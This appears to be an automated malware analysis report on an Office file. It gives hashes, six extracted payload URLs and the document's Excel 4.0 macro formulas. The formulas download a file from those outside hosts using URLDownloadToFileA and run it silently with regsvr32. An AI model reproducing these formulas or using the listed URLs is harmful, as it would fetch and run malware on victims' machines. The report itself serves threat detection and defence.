General
-
Target
4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8
-
Size
46KB
-
MD5
12f803109c5d2bc4512e9a6cdcd00d5f
-
SHA1
30b4414b7870ea24d7c02c023cacc2b60b971da9
-
SHA256
4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8
-
SHA512
cbae49da4b174857dec43d04827c22df8962f9ab91fb403f62544a431c60cf89b20d47d0a97e9c258a46a11f5d90550e9374fb1346a83d6c7ccbcf902f8f9ae8
-
SSDEEP
768:Sio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:Sio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC
Malware Config
Extracted
http://diacrestgroup.com/ggv3rjy/9/
https://merturku.com/blogs/IFcif/
https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/
https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/
https://mayatherm.com/vendor/3Vk/
https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8